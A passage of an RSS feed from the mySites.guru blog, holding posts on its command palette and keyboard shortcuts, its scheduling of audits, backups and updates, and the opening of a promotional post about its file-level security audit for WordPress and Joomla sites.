&lt;li&gt;&lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html&quot;&gt;OWASP Session Management Cheat Sheet&lt;/a&gt; - Best practices for secure session handling&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.wordpress.org/advanced-administration/wordpress/cookies/&quot;&gt;WordPress Authentication Cookies&lt;/a&gt; - How WordPress handles login sessions&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html&quot;&gt;OWASP Authentication Cheat Sheet&lt;/a&gt; - Security best practices for authentication flows&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;p&gt;Quick site access is part of our &lt;a href=&quot;https://mysites.guru/guides/agency-multi-site-management/&quot;&gt;guide to multi-site management for agencies&lt;/a&gt;.&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>wordpress</category><category>workflow</category><category>site management</category><category>security</category><enclosure url="https://mysites.guru/img/og/blog/one-click-login-to-any-joomla-or-wordpress-admin-console-with-mysites-guru.webp" length="0" type="image/webp"/></item><item><title>The mySites.guru Command Palette Navigation</title><link>https://mysites.guru/blog/our-command-palette-navigation-with-cmdk/</link><guid isPermaLink="true">https://mysites.guru/blog/our-command-palette-navigation-with-cmdk/</guid><description>Press Cmd+K anywhere in mySites.guru to open the command palette and instantly navigate to any site, tool or account setting without touching the mouse.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;A command palette is one of the fastest ways to navigate a large application. Press Cmd+K (or Ctrl+K on Windows) anywhere in mySites.guru to open it and navigate the whole service with a few keystrokes.&lt;/p&gt;
&lt;p&gt;The command palette in your &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;manage.mySites.guru&lt;/a&gt; account includes all menu options and account functions - changing your password, viewing your invoices, everything.&lt;/p&gt;
&lt;p&gt;All your sites are included too. If you have 100 sites you can jump straight to any site’s manage page from anywhere: press Cmd+K, type a few characters of the site name or domain, hit Enter.&lt;/p&gt;
&lt;p&gt;You can also access most of the &lt;a href=&quot;https://mysites.guru/&quot;&gt;toolset&lt;/a&gt; from the command palette. The point is you don’t need to click through the tool finder or remember where things live - just search for what you need.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;The mySites.guru command palette that can be invoked with cmdk&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;512&quot; src=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-02-17.04.03-1024x512.BeYJdzIX_ZVD5E0.webp&quot; srcset=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-02-17.04.03-1024x512.BeYJdzIX_64Y30.webp 640w, https://mysites.guru/_astro/ScreenShot-2024-02-02-17.04.03-1024x512.BeYJdzIX_Z8t82U.webp 750w, https://mysites.guru/_astro/ScreenShot-2024-02-02-17.04.03-1024x512.BeYJdzIX_Z14fJxj.webp 828w, https://mysites.guru/_astro/ScreenShot-2024-02-02-17.04.03-1024x512.BeYJdzIX_ZVD5E0.webp 1024w&quot; /&gt;&lt;em&gt;The mySites.guru command palette that can be invoked with cmdk&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;Are command palettes a new thing?&lt;/h2&gt;
&lt;p&gt;Some of the other advantages command palettes bring when done correctly:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;You don’t have to take your hands off the keyboard. No clicking into menus, remembering where a feature lives. Just cmd+k and type.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;You don’t need to know if functionality exists - type what you want and find out if it does and where it is.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Design trends and long-lived software mean that the UI can change. With a command palette, you don’t need to know where functionality has moved - you just search for it.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;You can hide functionality from the UI, avoiding cluttering the screen, overwhelming folks with options, or confusing them with multiple sub-menus.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;They can be implemented to help users with disabilities by providing keyboard shortcuts or screen reader support.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;You can read more about the past, present and future over at &lt;a href=&quot;https://www.commandbar.com/blog/command-palette-past-present-and-future/&quot;&gt;https://www.commandbar.com/blog/command-palette-past-present-and-future/&lt;/a&gt; although we still dont believe that AI is worth the hype and will never replace much of what its hyped to replace - command palettes bring quick and easy navigation to large applications.&lt;/p&gt;
&lt;h2&gt;Does Google Chrome have a command palette?&lt;/h2&gt;
&lt;p&gt;If you are using Google Chrome, then you already have an app that has a command palette built in! The console has a command palette that allows easy access to all features - to invoke that open your Inspector (console), focus it, and press cmd p (or ctrl p on windows) ro open a resource or SHIFT CMD P to open the full command palette to run commands.:&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;The Google Chrome Command Palette&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;693&quot; src=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-02-17.14.58-1024x693.DdUql_oM_2opzeW.webp&quot; srcset=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-02-17.14.58-1024x693.DdUql_oM_YM67e.webp 640w, https://mysites.guru/_astro/ScreenShot-2024-02-02-17.14.58-1024x693.DdUql_oM_28ssRp.webp 750w, https://mysites.guru/_astro/ScreenShot-2024-02-02-17.14.58-1024x693.DdUql_oM_Z16Df8V.webp 828w, https://mysites.guru/_astro/ScreenShot-2024-02-02-17.14.58-1024x693.DdUql_oM_2opzeW.webp 1024w&quot; /&gt;&lt;em&gt;The Google Chrome Command Palette&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;I use it mainly to disable Javascript for testing -&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;ScreenShot 17.17.58&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;325&quot; src=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-02-17.17.58-1024x325.BC6XvWA3_1uxqXh.webp&quot; srcset=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-02-17.17.58-1024x325.BC6XvWA3_Z1x4SoW.webp 640w, https://mysites.guru/_astro/ScreenShot-2024-02-02-17.17.58-1024x325.BC6XvWA3_Z1rYqcu.webp 750w, https://mysites.guru/_astro/ScreenShot-2024-02-02-17.17.58-1024x325.BC6XvWA3_ZsqgmU.webp 828w, https://mysites.guru/_astro/ScreenShot-2024-02-02-17.17.58-1024x325.BC6XvWA3_1uxqXh.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Cmd P (ctrl P on windows) is a common keystroke for command palettes for obvious reasons.&lt;/p&gt;
&lt;p&gt;SublimeText also has a command Palette -&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;The Sublime Text command palette&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;607&quot; src=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-02-17.18.46-1024x607.BNXc6dOH_Z1lF8Mg.webp&quot; srcset=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-02-17.18.46-1024x607.BNXc6dOH_ZuykD9.webp 640w, https://mysites.guru/_astro/ScreenShot-2024-02-02-17.18.46-1024x607.BNXc6dOH_Zs4HVE.webp 750w, https://mysites.guru/_astro/ScreenShot-2024-02-02-17.18.46-1024x607.BNXc6dOH_Z1Uyyk8.webp 828w, https://mysites.guru/_astro/ScreenShot-2024-02-02-17.18.46-1024x607.BNXc6dOH_Z1lF8Mg.webp 1024w&quot; /&gt;&lt;em&gt;The Sublime Text command palette&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;What is the best command palette in existence?&lt;/h2&gt;
&lt;p&gt;Yes its true, the best command palette we use daily is the one from GitHub which is invoked on any github.com repo with Cmd k / ctrl k&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;The GitHub command palette&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;755&quot; src=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-02-17.20.34-1024x755.B2DT2DrD_Z1DNPeV.webp&quot; srcset=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-02-17.20.34-1024x755.B2DT2DrD_XzCJj.webp 640w, https://mysites.guru/_astro/ScreenShot-2024-02-02-17.20.34-1024x755.B2DT2DrD_kD7QC.webp 750w, https://mysites.guru/_astro/ScreenShot-2024-02-02-17.20.34-1024x755.B2DT2DrD_Z1IblUJ.webp 828w, https://mysites.guru/_astro/ScreenShot-2024-02-02-17.20.34-1024x755.B2DT2DrD_Z1DNPeV.webp 1024w&quot; /&gt;&lt;em&gt;The GitHub command palette&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;from this interface you can navigate pretty much anything in your repository - or even press the delete button to break out of the current context and load different contexts or search across the whole of GitHub - it really is the best ever command palette integration we have ever seen!&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;The GitHub command palette image&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;838&quot; src=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-02-17.21.42-1024x838.DOyGUEhm_j6edl.webp&quot; srcset=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-02-17.21.42-1024x838.DOyGUEhm_1mepdr.webp 640w, https://mysites.guru/_astro/ScreenShot-2024-02-02-17.21.42-1024x838.DOyGUEhm_Z2nk6dc.webp 750w, https://mysites.guru/_astro/ScreenShot-2024-02-02-17.21.42-1024x838.DOyGUEhm_ZL33h0.webp 828w, https://mysites.guru/_astro/ScreenShot-2024-02-02-17.21.42-1024x838.DOyGUEhm_j6edl.webp 1024w&quot; /&gt;&lt;em&gt;The GitHub command palette&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;Did you know WordPress has a command palette?&lt;/h2&gt;
&lt;p&gt;No neither did I until researching this blog post!&lt;/p&gt;
&lt;p&gt;You can learn more about the &lt;a href=&quot;https://learn.wordpress.org/tutorial/working-faster-with-the-command-palette/&quot;&gt;WordPress Command Palette&lt;/a&gt; on the official &lt;a href=&quot;https://learn.wordpress.org/tutorial/working-faster-with-the-command-palette/&quot;&gt;learn.wordpress.org website&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;To access the WordPress Command Palette, simply open the Site Editor or a page or a post and use the keyboard shortcut command K on Mac or control K on Windows. You can also find it in the sidebar of the site view by clicking on the Search icon or the title bar of a template or page. Once you open the Command Palette, you will see a list of available commands.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://mysites.guru/img/blog/image-14.gif&quot; alt=&quot;Image&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;What other keyboard shortcuts does mySites.guru have?&lt;/h2&gt;
&lt;p&gt;if you press the question mark on your keyboard (shift / on my mac) then you will get to the &lt;a href=&quot;https://manage.mysites.guru/en/help/keyboardshortcuts&quot;&gt;Keyboard Shortcuts page&lt;/a&gt; describing other keyboard shortcuts you can use from anywhere.&lt;/p&gt;
&lt;p&gt;These include some of the most commonly used tools such as:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;the &lt;a href=&quot;https://mysites.guru/blog/install-a-joomla-extension-or-wordpress-plugin-to-1000-sites-with-ease-using-mysites-guru/&quot;&gt;Mass Remote Installation Of Plugins&lt;/a&gt; (keyboard shortcut: m i)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;the &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;Mass Update WordPress/Joomla Sites Tool&lt;/a&gt; (keyboard shortcut: m u)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;the &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;Available Upgrades &amp;amp; Extension/Plugin Updates&lt;/a&gt; (keyboard shortcut: u)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;You can even toggle dark mode from anywhere simply by pressing d&lt;/p&gt;
&lt;p&gt;Want to quickly logout? Press shift l (thats basically a capital L to logout)&lt;/p&gt;
&lt;p&gt;Want to get back to your list of sites? (s) or just view WordPress Sites (w)&lt;/p&gt;
&lt;p&gt;So many &lt;a href=&quot;https://manage.mysites.guru/en/help/keyboardshortcuts&quot;&gt;more keyboard shortcuts&lt;/a&gt; are available in your mySites.guru account.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;Just some of the long list of keyboard shortcuts in the mySites.guru service&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 580px) 580px, 100vw&quot; width=&quot;580&quot; height=&quot;1024&quot; src=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-02-17.01.54-580x1024.BUw9gUUn_ZnoiVa.webp&quot; srcset=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-02-17.01.54-580x1024.BUw9gUUn_ZnoiVa.webp 580w&quot; /&gt;&lt;em&gt;Just some of the long list of keyboard shortcuts in the mySites.guru service&lt;/em&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Navigation tools like this are covered in our &lt;a href=&quot;https://mysites.guru/guides/agency-multi-site-management/&quot;&gt;agency management guide&lt;/a&gt;.&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>productivity</category><category>workflow</category><category>navigation</category><enclosure url="https://mysites.guru/img/og/blog/our-command-palette-navigation-with-cmdk.webp" length="0" type="image/webp"/></item><item><title>Schedule Audits, Updates &amp; Backups</title><link>https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/</link><guid isPermaLink="true">https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/</guid><description>Configure time-based and action-based schedules for security audits, snapshots, updates and Akeeba backups across all your mySites.guru connected sites.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://mysites.guru/&quot;&gt;mySites.guru&lt;/a&gt; runs a scheduler for Joomla and WordPress sites that handles &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;audits&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshots&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/backup-1000s-of-joomla-and-wordpress-sites-with-ease-with-mysites-guru/&quot;&gt;backups&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;updates&lt;/a&gt;. It works on both a &lt;strong&gt;time-based&lt;/strong&gt; and an &lt;strong&gt;action-based&lt;/strong&gt; model.&lt;/p&gt;
&lt;h2&gt;Audit schedule&lt;/h2&gt;
&lt;p&gt;For example. Audits are run either daily, weekly, or monthly, based on the last time an audit was taken. The time based part is “daily/weekly/monthly” and the action based part is the “time an audit was last taken”. If you manually start an audit then the time is reset, and your schedule is based on that time. So the next audit will be a week after that time (or a day/month depending on what you select)&lt;/p&gt;
&lt;p&gt;Please note: We only run one audit per hostname (server hostname) at a time, and queue any others that are due on the same server to restrict the load we place on a single server. No one wants 100s of audits of sites on the same server at the same time… not even us!&lt;/p&gt;
&lt;p&gt;The audit scheduler allows you to see your chosen schedule, and if you have chosen to disable the schedule you can see that too. Weekly is the default and suits most sites, because the snapshot already runs twice a day; &lt;a href=&quot;https://mysites.guru/blog/snapshot-vs-audit-whats-the-difference/&quot;&gt;snapshot vs audit&lt;/a&gt; explains when a daily audit is worth it.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;Screenshot of mySites.guru feature&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;308&quot; src=&quot;https://mysites.guru/_astro/Screenshot-2020-04-07-at-04.08.25-1024x308.BQ24JdGL_mw23n.webp&quot; srcset=&quot;https://mysites.guru/_astro/Screenshot-2020-04-07-at-04.08.25-1024x308.BQ24JdGL_1y9PWO.webp 640w, https://mysites.guru/_astro/Screenshot-2020-04-07-at-04.08.25-1024x308.BQ24JdGL_Z1p7n44.webp 750w, https://mysites.guru/_astro/Screenshot-2020-04-07-at-04.08.25-1024x308.BQ24JdGL_Z2e0KIj.webp 828w, https://mysites.guru/_astro/Screenshot-2020-04-07-at-04.08.25-1024x308.BQ24JdGL_mw23n.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Backup schedule&lt;/h2&gt;
&lt;p&gt;mySites.guru has support for &lt;a href=&quot;https://mysites.guru/blog/unlimited-backup-schedules/&quot;&gt;Akeeba Backup for Joomla and WordPress&lt;/a&gt;, and (currently) &lt;a href=&quot;https://mysites.guru/blog/unlimited-backup-schedules/&quot;&gt;All-in-one Migration Plugin&lt;/a&gt; for WordPress.&lt;/p&gt;
&lt;p&gt;Again, you can set &lt;a href=&quot;https://mysites.guru/blog/backup-1000s-of-joomla-and-wordpress-sites-with-ease-with-mysites-guru/&quot;&gt;daily, weekly, or monthly backup schedules&lt;/a&gt; in your mySites.guru account, you can even &lt;a href=&quot;https://mysites.guru/blog/backup-1000s-of-joomla-and-wordpress-sites-with-ease-with-mysites-guru/&quot;&gt;start backups from the same screen&lt;/a&gt; or queue the start of &lt;a href=&quot;https://mysites.guru/blog/backup-1000s-of-joomla-and-wordpress-sites-with-ease-with-mysites-guru/&quot;&gt;backups on all your Joomla and WordPress sites&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;Screenshot of mySites.guru feature&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;393&quot; src=&quot;https://mysites.guru/_astro/Screenshot-2020-04-07-at-04.10.43-1024x393.Btheot41_Z1KzrJ0.webp&quot; srcset=&quot;https://mysites.guru/_astro/Screenshot-2020-04-07-at-04.10.43-1024x393.Btheot41_Z3a7ko.webp 640w, https://mysites.guru/_astro/Screenshot-2020-04-07-at-04.10.43-1024x393.Btheot41_1gjEGs.webp 750w, https://mysites.guru/_astro/Screenshot-2020-04-07-at-04.10.43-1024x393.Btheot41_Zg1thj.webp 828w, https://mysites.guru/_astro/Screenshot-2020-04-07-at-04.10.43-1024x393.Btheot41_Z1KzrJ0.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Updates schedule&lt;/h2&gt;
&lt;p&gt;The updates scheduling is slightly different.&lt;/p&gt;
&lt;p&gt;You don’t specify a time for updates of extensions and plugins to happen, you can &lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;enable auto updates for any extension&lt;/a&gt; on a per site, or per update site basis&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;Screenshot of mySites.guru feature&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;201&quot; src=&quot;https://mysites.guru/_astro/Screenshot-2020-04-07-at-04.25.16-1024x201.BkeWCODN_V692Q.webp&quot; srcset=&quot;https://mysites.guru/_astro/Screenshot-2020-04-07-at-04.25.16-1024x201.BkeWCODN_Qwplj.webp 640w, https://mysites.guru/_astro/Screenshot-2020-04-07-at-04.25.16-1024x201.BkeWCODN_ZteFuI.webp 750w, https://mysites.guru/_astro/Screenshot-2020-04-07-at-04.25.16-1024x201.BkeWCODN_Z11GmIi.webp 828w, https://mysites.guru/_astro/Screenshot-2020-04-07-at-04.25.16-1024x201.BkeWCODN_V692Q.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;p&gt;On the next &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot&lt;/a&gt; we take (currently twice every 24 hours) if we spy that an &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;update&lt;/a&gt; is available, then we will attempt to &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;apply the update&lt;/a&gt;, and notify you (according to your preferences) if the update was successful or not.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;Screenshot of mySites.guru feature&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;177&quot; src=&quot;https://mysites.guru/_astro/Screenshot-2020-04-07-at-04.26.09-1024x177.0bi2CGk8_1ti2d7.webp&quot; srcset=&quot;https://mysites.guru/_astro/Screenshot-2020-04-07-at-04.26.09-1024x177.0bi2CGk8_ZNznSo.webp 640w, https://mysites.guru/_astro/Screenshot-2020-04-07-at-04.26.09-1024x177.0bi2CGk8_2hdXDQ.webp 750w, https://mysites.guru/_astro/Screenshot-2020-04-07-at-04.26.09-1024x177.0bi2CGk8_ZXqHME.webp 828w, https://mysites.guru/_astro/Screenshot-2020-04-07-at-04.26.09-1024x177.0bi2CGk8_1ti2d7.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;p&gt;You can view the result of the scheduled updates in your account too&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;Screenshot of mySites.guru feature&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;690&quot; src=&quot;https://mysites.guru/_astro/Screenshot-2020-04-07-at-04.23.05-1024x690.Bh1UelN8_Zi3MPg.webp&quot; srcset=&quot;https://mysites.guru/_astro/Screenshot-2020-04-07-at-04.23.05-1024x690.Bh1UelN8_ZVENy8.webp 640w, https://mysites.guru/_astro/Screenshot-2020-04-07-at-04.23.05-1024x690.Bh1UelN8_Z1skFVx.webp 750w, https://mysites.guru/_astro/Screenshot-2020-04-07-at-04.23.05-1024x690.Bh1UelN8_Z36i2V.webp 828w, https://mysites.guru/_astro/Screenshot-2020-04-07-at-04.23.05-1024x690.Bh1UelN8_Zi3MPg.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Can you schedule white label reports?&lt;/h2&gt;
&lt;p&gt;Upcoming in the mySites.guru service shortly, you will also be able to schedule white label reports to be sent to you or your clients about their sites, a subset of sites or just one site. &lt;em&gt;More on this soon. Shhh its a secret!&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;Screenshot of mySites.guru feature&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;508&quot; src=&quot;https://mysites.guru/_astro/Screenshot-2020-04-07-at-04.32.46-1024x508.CYEiS5Hr_Ahamx.webp&quot; srcset=&quot;https://mysites.guru/_astro/Screenshot-2020-04-07-at-04.32.46-1024x508.CYEiS5Hr_k5TXn.webp 640w, https://mysites.guru/_astro/Screenshot-2020-04-07-at-04.32.46-1024x508.CYEiS5Hr_Z19wwTN.webp 750w, https://mysites.guru/_astro/Screenshot-2020-04-07-at-04.32.46-1024x508.CYEiS5Hr_1XblAk.webp 828w, https://mysites.guru/_astro/Screenshot-2020-04-07-at-04.32.46-1024x508.CYEiS5Hr_Ahamx.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Real-time triggers and near real-time alerting&lt;/h2&gt;
&lt;p&gt;Not so much scheduled, but in almost real-time, the mySites.guru service can alert you to events happening on your website such as&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;When a user logs in&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;When a new user is created&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;When a non-admin tries to login to admin&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;When your templates file is modified&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;When your sites configuration file is modified&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;etc…&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;These alerts are sent to you according to your notification preferences and can be a real lifesaver if your site has been hacked in the past and you want visibility on whats happening. Regular audits also surface &lt;a href=&quot;https://mysites.guru/blog/the-hidden-files-lurking-on-your-site-that-you-dont-know-about/&quot;&gt;hidden files lurking in your webspace&lt;/a&gt; that real-time triggers alone won’t catch.&lt;/p&gt;
&lt;p&gt;For a complete guide to keeping CMS updates, backups, and audits in sync across a large portfolio, see &lt;a href=&quot;https://mysites.guru/guides/managing-cms-updates-at-scale/&quot;&gt;managing CMS updates at scale&lt;/a&gt;. If you want to go further with alerting, the &lt;a href=&quot;https://mysites.guru/guides/site-monitoring-alerting-guide/&quot;&gt;site monitoring and alerting guide&lt;/a&gt; covers what to watch for and how to act on it.&lt;/p&gt;
&lt;p&gt;Not yet a subscriber? &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;Run a free site audit&lt;/a&gt; to see what mySites.guru finds on your site.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;Screenshot of mySites.guru feature&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;392&quot; src=&quot;https://mysites.guru/_astro/Screenshot-2020-04-07-at-04.29.00-1024x392.Cz92uqh6_1jc1Nb.webp&quot; srcset=&quot;https://mysites.guru/_astro/Screenshot-2020-04-07-at-04.29.00-1024x392.Cz92uqh6_mT9UH.webp 640w, https://mysites.guru/_astro/Screenshot-2020-04-07-at-04.29.00-1024x392.Cz92uqh6_1GnVWy.webp 750w, https://mysites.guru/_astro/Screenshot-2020-04-07-at-04.29.00-1024x392.Cz92uqh6_a2MXM.webp 828w, https://mysites.guru/_astro/Screenshot-2020-04-07-at-04.29.00-1024x392.Cz92uqh6_1jc1Nb.webp 1024w&quot; /&gt;&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>scheduling</category><category>security audits</category><category>updates</category><category>backups</category><enclosure url="https://mysites.guru/img/og/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru.webp" length="0" type="image/webp"/></item><item><title>Deep Security Audit for WordPress &amp; Joomla</title><link>https://mysites.guru/blog/security-audit-tools/</link><guid isPermaLink="true">https://mysites.guru/blog/security-audit-tools/</guid><description>Surface-level scanners miss hidden malware. File-level audits check every line of code against 1,500+ patterns to find backdoors other tools miss.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Think your WordPress or Joomla site is clean? Surface-level scanners only see what a browser sees. A proper security audit digs into &lt;a href=&quot;https://mysites.guru/tools/&quot;&gt;every file in your webspace&lt;/a&gt; - and that’s exactly what the mySites.guru audit does. Want to try it? &lt;strong&gt;&lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;Run a free site audit&lt;/a&gt;&lt;/strong&gt; with no credit card required. If you suspect you’ve already been compromised, &lt;a href=&quot;https://mysites.guru/blog/is-my-wordpress-site-hacked/&quot;&gt;here’s how to tell if your WordPress site has been hacked&lt;/a&gt;. If you’re specifically looking for malware, our dedicated &lt;a href=&quot;https://mysites.guru/wordpress-malware-scanner/&quot;&gt;WordPress malware scanner&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/wordpress-vulnerability-scanner/&quot;&gt;WordPress vulnerability scanner&lt;/a&gt; give you focused results for those two threat categories. If the worst has already happened, our &lt;a href=&quot;https://mysites.guru/wordpress-hacked/&quot;&gt;WordPress hacked guide&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/joomla-hacked/&quot;&gt;Joomla hacked guide&lt;/a&gt; walk you through recovery step by step.&lt;/p&gt;
&lt;p&gt;In this post I’ll walk through how the mySites.guru security audit works, what it checks, and why it catches things that other tools miss.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/blog/manage-all-your-joomla-sites-extensions-with-mysites-guru/&quot;&gt;Connect unlimited sites to the mySites.guru service&lt;/a&gt;, then you can run &lt;strong&gt;UNLIMITED&lt;/strong&gt; audits of your &lt;strong&gt;UNLIMITED&lt;/strong&gt; sites on demand, or schedule them to run daily, weekly or monthly.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Compare audit tools carefully&lt;/p&gt;&lt;div&gt;&lt;p&gt;Some &lt;a href=&quot;https://watchful.net&quot;&gt;other services&lt;/a&gt; &lt;strong&gt;claim&lt;/strong&gt; to have an “audit” tool. Most of the time they mean they have implemented the &lt;a href=&quot;https://sitecheck.sucuri.net/&quot;&gt;Sucuri SiteCheck API&lt;/a&gt;, which only “scans” your site as a visiting browser would, &lt;strong&gt;it doesn’t check the files in your webspace&lt;/strong&gt;, and &lt;strong&gt;doesn’t find anything that is hidden under the surface&lt;/strong&gt; of your rendered webpages. &lt;strong&gt;Be warned.&lt;/strong&gt; Not all “Audits” are in-depth and comprehensive!&lt;/p&gt;&lt;p&gt;Make sure you compare apples with apples. Not everyone claiming to be an “apple” is.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
